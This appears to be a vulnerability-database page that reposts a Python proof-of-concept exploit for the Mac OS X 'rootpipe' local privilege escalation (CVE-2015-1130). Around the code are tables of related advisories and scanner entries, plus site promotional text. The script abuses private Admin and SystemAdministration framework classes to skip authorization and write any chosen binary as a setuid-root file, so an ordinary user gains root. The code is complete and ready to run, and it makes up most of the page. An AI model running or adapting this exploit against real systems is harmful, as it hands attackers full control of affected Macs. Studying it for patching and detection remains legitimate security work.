Lucene search
+L

Mac OS X rootpipe Local Privilege Escalation Exploit

🗓️ 09 Apr 2015 00:00:00Reported by Emil KvarnhammarType 
zdt
 zdt
🔗 0day.today👁 106 Views

Mac OS X rootpipe Local Privilege Escalation PoC exploit for CVE-2015-1130. Tested on OS X 10.7.5-10.10.

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Mac OS X Rootpipe Privilege Escalation Exploit
12 Apr 201500:00
–zdt
nessus
Tenable Nessus
Mac OS X 10.10.x < 10.10.3 Multiple Vulnerabilities
10 Apr 201900:00
–nessus
nessus
Tenable Nessus
Mac OS X 10.10.x < 10.10.3 Multiple Vulnerabilities (FREAK)
10 Apr 201500:00
–nessus
attackerkb
attackerkb
CVE-2015-1130
10 Apr 201500:00
–attackerkb
bdu_fstec
BDU FSTEC
XPC Service Authentication Bypass
1 Aug 202200:00
–bdu_fstec
circl
Circl
CVE-2015-1130
9 Apr 201500:00
–circl
cisa_kev
CISA KEV Catalog
Apple OS X Authentication Bypass Vulnerability
10 Feb 202200:00
–cisa_kev
cisa
CISA
CISA Adds 15 Known Exploited Vulnerabilities to Catalog
10 Feb 202200:00
–cisa
cnvd
CNVD
Apple OS X Elevation of Privilege Vulnerability
16 Apr 201500:00
–cnvd
cve
CVE
CVE-2015-1130
10 Apr 201514:00
–cve
Rows per page
########################################################
#
#  PoC exploit code for rootpipe (CVE-2015-1130)
#
#  Created by Emil Kvarnhammar, TrueSec
#
#  Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
#
########################################################
import os
import sys
import platform
import re
import ctypes
import objc
import sys
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
from Foundation import NSAutoreleasePool
 
def load_lib(append_path):
    return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
 
def use_old_api():
    return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
 
 
args = sys.argv
 
if len(args) != 3:
    print "usage: exploit.py source_binary dest_binary_as_root"
    sys.exit(-1)
 
source_binary = args[1]
dest_binary = os.path.realpath(args[2])
 
if not os.path.exists(source_binary):
    raise Exception("file does not exist!")
 
pool = NSAutoreleasePool.alloc().init()
 
attr = NSMutableDictionary.alloc().init()
attr.setValue_forKey_(04777, NSFilePosixPermissions)
data = NSData.alloc().initWithContentsOfFile_(source_binary)
 
print "will write file", dest_binary
 
if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
    Authenticator = objc.lookUpClass("Authenticator")
    ToolLiaison = objc.lookUpClass("ToolLiaison")
    SFAuthorization = objc.lookUpClass("SFAuthorization")
 
    authent = Authenticator.sharedAuthenticator()
    authref = SFAuthorization.authorization()
 
    # authref with value nil is not accepted on OS X <= 10.8
    authent.authenticateUsingAuthorizationSync_(authref)
    st = ToolLiaison.sharedToolLiaison()
    tool = st.tool()
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
else:
    adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
    WriteConfigClient = objc.lookUpClass("WriteConfigClient")
    client = WriteConfigClient.sharedClient()
    client.authenticateUsingAuthorizationSync_(None)
    tool = client.remoteProxy()
 
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
 
 
print "Done!"
 
del pool

#  0day.today [2018-03-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.09887
106